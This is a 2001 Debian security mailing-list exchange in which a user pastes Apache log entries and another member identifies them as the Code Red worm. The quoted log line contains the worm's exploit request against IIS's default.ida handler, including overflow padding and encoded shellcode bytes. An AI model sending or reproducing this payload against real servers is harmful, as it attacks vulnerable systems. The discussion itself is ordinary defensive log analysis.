BINGO... welcome to Code Red land... Just sit back and think of all the dumb IIS admins that didn't patch their machines and laugh cause you were smart and ran Apache on Linux :) Jeremy Wouter van Gils was said to been seen saying: > Hi, today I came say a lot of these: > > tnt-7-28.easynet.co.uk - - [01/Aug/2001:21:59:02 +0200] "GET > /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN > NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN > NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u780 > 1%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u00 > 00%u00=a HTTP/1.0" 404 205 > > > is my apache logs from several ip's. Anyone have an idea of what they are. I've got about > 20 of them. Is this 'Code Red' stuff ? > > > > grt Wouter > > > > -- > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Wouter van Gils -=- wouter@the-construct.cx > http://the-construct.cx/ > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > > -- > To UNSUBSCRIBE, email to debian-security-request@lists.debian.org > with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org -- ,-----------------------------------------------------------------------------, |Jeremy T. Bouse, CCNA - UnderGrid Network Services, LLC - www.UnderGrid.net | | Public PGP/GPG key available through http://wwwkeys.us.pgp.net | | If received unsigned (without requesting as such) DO NOT trust it! | | Jeremy.Bouse@UnderGrid.net - NIC Whois: JB5713 - jbouse@Debian.org | `-----------------------------------------------------------------------------'
Attachment:
pgpTtU0hxE9jJ.pgp
Description: PGP signature